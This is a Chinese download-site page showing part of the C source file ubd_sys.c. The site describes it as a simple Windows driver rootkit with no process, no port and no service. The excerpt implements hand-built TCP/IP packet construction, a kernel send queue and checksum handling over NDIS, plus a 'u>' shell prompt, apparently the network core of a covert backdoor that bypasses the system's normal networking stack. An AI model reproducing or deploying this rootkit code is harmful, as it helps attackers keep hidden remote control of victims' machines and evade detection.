⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ubd_sys.c

📁 一个驱动上实现 无进程 无端口 无服务的简单rootkit
💻 C
📖 第 1 页 / 共 2 页
字号:
				);
		}
	}
	__except (EXCEPTION_EXECUTE_HANDLER){
		DbgPrint("SentToNet error\n");
	}
	//kAo 这里不再负责回收pSendList! bug fixed
	//ExFreePool(pSendList);


	IoQueueWorkItem(g_pSendIoWorkItem,
		SendIoWorkItemRoutine,
		DelayedWorkQueue,
		NULL
		);
}
//--------------------------------------------------------------------
//存入列表时,AddSendDAtAToList负责分配buffer,释放buffer由RemoveSendDAtAFromList 完成,在收到ACK的时候调用
NTSTATUS
AddSendDAtAToList(PSENDLISTHEAD pSendListHeAd,char* dAtA,ULONG	SendDAtALength,PTCPS_Connection pConnection)
{
	NTSTATUS	dwStAtus = STATUS_UNSUCCESSFUL;
	KIRQL		kOldIrql;
	PSENDLIST	pSendList;

	PETHHDR		pEthHdr	= NULL;
	PIPHDR		pIpHdr	= NULL;
	PTCPHDR		pTcpHdr	= NULL;

	pEthHdr			= (PVOID)dAtA;
	pIpHdr			= (PIPHDR)((UCHAR*)pEthHdr + sizeof(ETHHDR));//heAder
	pTcpHdr			= (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4);//heAder

	//这里要用不分页内存
	pSendList = (PSENDLIST)ExAllocatePool(NonPagedPool,sizeof(SENDLIST));
	if(pSendList){
		//DbgPrint("AddSendDAtAToList AllocAte Memory = 0x0%x\n",pSendList); //debug
		pSendList->pNext = NULL;
		pSendList->pBuffer = ExAllocatePool(NonPagedPool,SendDAtALength);
		RtlCopyMemory(pSendList->pBuffer,dAtA,SendDAtALength);
		pSendList->ulBufferLength	= SendDAtALength;
		pSendList->pConnection		= pConnection;

		//rst包发过来算消息,不记数,因为他不会被发送,记数也就不会减少
		//if(!pTcpHdr->rst){
		pSendList->pConnection->m_PAcketsLeftToBeSend++;
		//}
		KeAcquireSpinLock(&pSendListHeAd->kspSendListLock,&kOldIrql);
		if(pSendListHeAd->pListBAck){
			pSendListHeAd->pListBAck->pNext	= pSendList;
			pSendListHeAd->pListBAck		= pSendList;
		}
		else{
			pSendListHeAd->pListFront = pSendListHeAd->pListBAck = pSendList;
		}
		KeReleaseSemaphore(&(g_SendListHeAd.ksemSendListSemAphore),0,1,FALSE);
		KeReleaseSpinLock(&pSendListHeAd->kspSendListLock,kOldIrql);//////////
		dwStAtus = STATUS_SUCCESS;
	}
	return dwStAtus;
}
//--------------------------------------------------------------------
//存入列表时,AddSendDAtAToList负责分配buffer,释放buffer由RemoveSendDAtAFromList 完成,在收到ACK的时候调用
NTSTATUS
AddSendDAtAToListAtFront(PSENDLISTHEAD pSendListHeAd,char* dAtA,ULONG	SendDAtALength,PTCPS_Connection pConnection)
{
	NTSTATUS	dwStAtus = STATUS_UNSUCCESSFUL;
	KIRQL		kOldIrql;
	PSENDLIST	pSendList;

	PETHHDR		pEthHdr	= NULL;
	PIPHDR		pIpHdr	= NULL;
	PTCPHDR		pTcpHdr	= NULL;

	pEthHdr			= (PVOID)dAtA;
	pIpHdr			= (PIPHDR)((UCHAR*)pEthHdr + sizeof(ETHHDR));//heAder
	pTcpHdr			= (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4);//heAder

	//这里要用不分页内存
	pSendList = (PSENDLIST)ExAllocatePool(NonPagedPool,sizeof(SENDLIST));
	if(pSendList){
		//DbgPrint("AddSendDAtAToList AllocAte Memory = 0x0%x\n",pSendList); //debug
		pSendList->pNext = NULL;
		pSendList->pBuffer = ExAllocatePool(NonPagedPool,SendDAtALength);
		RtlCopyMemory(pSendList->pBuffer,dAtA,SendDAtALength);
		pSendList->ulBufferLength	= SendDAtALength;
		pSendList->pConnection		= pConnection;

		//rst包发过来算消息,不记数,因为他不会被发送,记数也就不会减少
		//if(!pTcpHdr->rst){
		pSendList->pConnection->m_PAcketsLeftToBeSend++;
		//}
		KeAcquireSpinLock(&pSendListHeAd->kspSendListLock,&kOldIrql);
		if(pSendListHeAd->pListFront){
			pSendList->pNext			= pSendListHeAd->pListFront;
			pSendListHeAd->pListFront	= pSendList;
		}
		else{
			pSendListHeAd->pListFront = pSendListHeAd->pListBAck = pSendList;
		}

		KeReleaseSemaphore(&(g_SendListHeAd.ksemSendListSemAphore),0,1,FALSE);
		KeReleaseSpinLock(&pSendListHeAd->kspSendListLock,kOldIrql);//////////
		dwStAtus = STATUS_SUCCESS;
	}
	return dwStAtus;
}
//--------------------------------------------------------------------
PSENDLIST
ReAdSendDAtAFromList(PSENDLISTHEAD pSendListHeAd)
{
	PSENDLIST		pSendListCurrent;

	pSendListCurrent = pSendListHeAd->pListFront;
	return pSendListCurrent;
}
//--------------------------------------------------------------------
VOID
RemoveSendDAtAFromList(PSENDLISTHEAD pSendListHeAd)
{
	KIRQL			kOldIrql;
	PSENDLIST		pSendListCurrent;

	KeAcquireSpinLock(&pSendListHeAd->kspSendListLock,&kOldIrql);
	pSendListCurrent = pSendListHeAd->pListFront;
	if(pSendListCurrent){

		pSendListHeAd->pListFront = pSendListCurrent->pNext;
		if(pSendListCurrent->pConnection->m_PAcketsLeftToBeSend > 0){ 
			pSendListCurrent->pConnection->m_PAcketsLeftToBeSend--;
		}else{
			DbgPrint("!!error m_PAcketsLeftToBeSend < 0:%d\n",(LONG)pSendListCurrent->pConnection->m_PAcketsLeftToBeSend);
		}
		if(pSendListHeAd->pListFront == NULL){
			pSendListHeAd->pListBAck = NULL;
		}

		ExFreePool(pSendListCurrent->pBuffer);
		ExFreePool(pSendListCurrent);
		KeReleaseSpinLock(&(pSendListHeAd->kspSendListLock),kOldIrql);		
		return;
	}
	KeReleaseSpinLock(&(pSendListHeAd->kspSendListLock),kOldIrql);
	return;
}
//--------------------------------------------------------------------


//uSend把要发送的包全部加到send链表里
NTSTATUS
uSend(
	  PTCPS_Connection		pConnection,
	  char					*pSendBuffer,
	  ULONG					ulSendBufferSize
	  )
{
	PVOID			VirtuAlAddress	= NULL;
	PETHHDR			pEthHdrSend		= NULL;
	PIPHDR			pIpHdrSend		= NULL;
	PTCPHDR			pTcpHdrSend		= NULL;
	PVOID			pDAtA			= NULL;
	ULONG			ulTotAlLength	= 0; 
	

	NTSTATUS		stAtus;
	ULONG			SendCount = 0;
	

	//这里不用计算效验和,,SendToNet会重新算
	//SendToNet will recount the checksum
	ulTotAlLength = sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR)+ulSendBufferSize;

	NdisAllocateMemoryWithTag(
		&VirtuAlAddress,
		ulTotAlLength,
		'ytuU'
		);
	NdisZeroMemory(
		VirtuAlAddress,
		sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR)+ulSendBufferSize
		);
	
	//填包
	pEthHdrSend		= VirtuAlAddress;
	pIpHdrSend		= (PIPHDR)((UCHAR*)pEthHdrSend + sizeof(ETHHDR));//heAder
	
	
	
	NdisMoveMemory(&pEthHdrSend->h_dest,&pConnection->m_SourceMAc,6);
	NdisMoveMemory(&pEthHdrSend->h_source,&pConnection->m_OurMAc,6);
	pEthHdrSend->h_proto	= HTONS(ETH_P_IP);
	
	pIpHdrSend->ihl			= sizeof(IPHDR)/4;
	pIpHdrSend->version		= 4;
	pIpHdrSend->tos			= 0;
	pIpHdrSend->tot_len		= HTONS(sizeof(IPHDR)+sizeof(TCPHDR)+(USHORT)ulSendBufferSize);
	pIpHdrSend->id			= 0;
	pIpHdrSend->frag_off	= 0;
	pIpHdrSend->ttl			= 255;
	pIpHdrSend->protocol	= IPPROTO_TCP;
	pIpHdrSend->check		= 0;//whAt
	pIpHdrSend->saddr		= pConnection->m_OurIp;
	pIpHdrSend->daddr		= pConnection->m_SourceIp;
	pIpHdrSend->check		= checksum((USHORT*)pIpHdrSend,sizeof(IPHDR));

	pTcpHdrSend		= (PTCPHDR)((UCHAR*)pIpHdrSend + pIpHdrSend->ihl * 4);//heAder
	pDAtA			= (PVOID)((UCHAR*)pTcpHdrSend + sizeof(TCPHDR));//heAder
	pTcpHdrSend->source		= pConnection->m_OurPort;
	pTcpHdrSend->dest		= pConnection->m_SourcePort;
	pTcpHdrSend->seq		= pConnection->m_Ack_seq;
	pTcpHdrSend->ack_seq	= pConnection->m_Seq;//seq  
	pTcpHdrSend->doff		= sizeof(TCPHDR)/4;
	pTcpHdrSend->syn		= 0;
	pTcpHdrSend->ack		= 1;
	pTcpHdrSend->psh		= 1;
	pTcpHdrSend->window		= pConnection->m_Window;
	pTcpHdrSend->check		= 0;
	pTcpHdrSend->urg_ptr	= 0;

	//填发送的数据
	NdisMoveMemory(pDAtA,pSendBuffer,ulSendBufferSize);
	

	//把数据加入到链表
	DbgPrint("AddSendDAtAToList\n");
	AddSendDAtAToList(
		&g_SendListHeAd,
		VirtuAlAddress,
		ulTotAlLength,
		pConnection
		);

	//释放空间
	NdisFreeMemory(
		VirtuAlAddress,
		0,
		0
		);
	return NDIS_STATUS_SUCCESS;
}
//--------------------------------------------------------------------
VOID EchoPrompt(PTCPS_Connection		pConnection)
{
	uSend(pConnection,"u>",strlen("u>"));
}
//--------------------------------------------------------------------
//reAlly send
NTSTATUS
SendToNet(
	PSENDLIST	pSendList
	)
{
	PNDIS_BUFFER	pNdisBuffer	= NULL;
	PNDIS_PACKET	pNdisPAcket	= NULL;

	NTSTATUS		stAtus;
	PSDHDR			PsdHdrSend;
	PVOID			ChecksumTempBuff = NULL;

	PETHHDR			pEthHdrSend		= NULL;
	PIPHDR			pIpHdrSend		= NULL;
	PTCPHDR			pTcpHdrSend		= NULL;
	PVOID			pDAtA			= NULL;
	ULONG			ulDAtALength	= 0;

	//bug fix 修改seq Ack
	pEthHdrSend		= pSendList->pBuffer;
	pIpHdrSend		= (PIPHDR)((UCHAR*)pEthHdrSend + sizeof(ETHHDR));//heAder
	pTcpHdrSend		= (PTCPHDR)((UCHAR*)pIpHdrSend + pIpHdrSend->ihl * 4);//heAder
	pDAtA			= (PVOID)((UCHAR*)pTcpHdrSend + sizeof(TCPHDR));//heAder

	DbgPrint("send SYN ACK,dest port is %d\n",HTONS(pTcpHdrSend->dest));

	ulDAtALength	= NTOHS(pIpHdrSend->tot_len) - pIpHdrSend->ihl*4 - sizeof(TCPHDR);

	//发包的时候,seq等于上个对方发过来的包的Ack, Ack等于上一个发过来的包的seq加上包中数据的长度,如果没数据就加0了,
	//但如果上一个包是syn包,要加1,syn包占一个序列

	pTcpHdrSend->check		= 0;//注意这里
	pTcpHdrSend->seq		= pSendList->pConnection->m_Ack_seq;//任意

	//回复syn 的Ack包中也有syn标志,所以可以直接检查有tcp头中有没有syn
	//if(pSendList->pConnection->m_IsSyn){
	if(pTcpHdrSend->syn){
		pTcpHdrSend->ack_seq	= HTONL(NTOHL(pSendList->pConnection->m_Seq)+1);//seq  //debug 这里不确定,需要实验
	}else{
		pTcpHdrSend->ack_seq	= HTONL(NTOHL(pSendList->pConnection->m_Seq)+pSendList->pConnection->m_DAtALength);//seq  //debug 这里不确定,需要实验
	}

	

	//预期的返回的Ack的seq和Ack
	pSendList->pConnection->m_ExpectedSeq		= pTcpHdrSend->ack_seq;//////////
	DbgPrint("set m_ExpectedSeq in SendToNet: %d\n",pTcpHdrSend->ack_seq);
	//if(pSendList->pConnection->m_IsSyn){
	if(pTcpHdrSend->syn){
		pSendList->pConnection->m_ExpectedAck_seq	= HTONL(NTOHL(pTcpHdrSend->seq) + 1);////////////
		DbgPrint("set m_ExpectedAck_seq in SendToNet: %d\n",HTONL(NTOHL(pTcpHdrSend->seq) + 1));
	}else{
		pSendList->pConnection->m_ExpectedAck_seq	= HTONL(NTOHL(pTcpHdrSend->seq) + ulDAtALength);////////////
		DbgPrint("set m_ExpectedAck_seq in SendToNet: %d\n",HTONL(NTOHL(pTcpHdrSend->seq) + 1));
	}


	//PsdHdrSend用来计算tcp效验和
	PsdHdrSend.saddr	= pIpHdrSend->saddr;
	PsdHdrSend.daddr	= pIpHdrSend->daddr;
	PsdHdrSend.mbz		= 0;
	PsdHdrSend.ptcl		= IPPROTO_TCP;
	PsdHdrSend.tcpl		= HTONS(sizeof(TCPHDR)+(USHORT)ulDAtALength);

	//ChecksumTempBuff 为了计算效验和
	NdisAllocateMemoryWithTag(
		&ChecksumTempBuff,
		MAX_PACKET_SIZE,
		'pmtU'
		);
	NdisMoveMemory(ChecksumTempBuff,&PsdHdrSend,sizeof(PSDHDR));
	NdisMoveMemory((UCHAR*)ChecksumTempBuff + sizeof(PSDHDR),pTcpHdrSend,sizeof(TCPHDR));
	NdisMoveMemory((UCHAR*)ChecksumTempBuff + sizeof(PSDHDR) + sizeof(TCPHDR),pDAtA,ulDAtALength);

	pTcpHdrSend->check	 = checksum((USHORT*)ChecksumTempBuff,sizeof(PSDHDR)+sizeof(TCPHDR)+ulDAtALength);

	//释放ChecksumTempBuff
	NdisFreeMemory(
		ChecksumTempBuff,
		0,
		0
		);
		
	//准备发送
	NdisAllocateBuffer(
		&stAtus,
		&pNdisBuffer,
		m_ourBufferPoolHAndle,
		pSendList->pBuffer,
		pSendList->ulBufferLength
		);
	if(stAtus != NDIS_STATUS_SUCCESS){
		//DbgPrint("NdisAllocAteBuffer fAiled\n");
		return TRUE;
	}
	NdisAllocatePacket(
		&stAtus,
		&pNdisPAcket,
		m_ourPAcketPoolHAndle
		);
	if(stAtus != NDIS_STATUS_SUCCESS){
		//DbgPrint("NdisAllocAtePAcket fAiled\n");
		return TRUE;
	}

	NdisChainBufferAtFront(
		pNdisPAcket,
		pNdisBuffer
		);

	NdisSendPackets(
		pSendList->pConnection->m_pBindAdaptHandle,
		&pNdisPAcket,
		1
		);

	return NDIS_STATUS_SUCCESS;
}
//--------------------------------------------------------------------

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -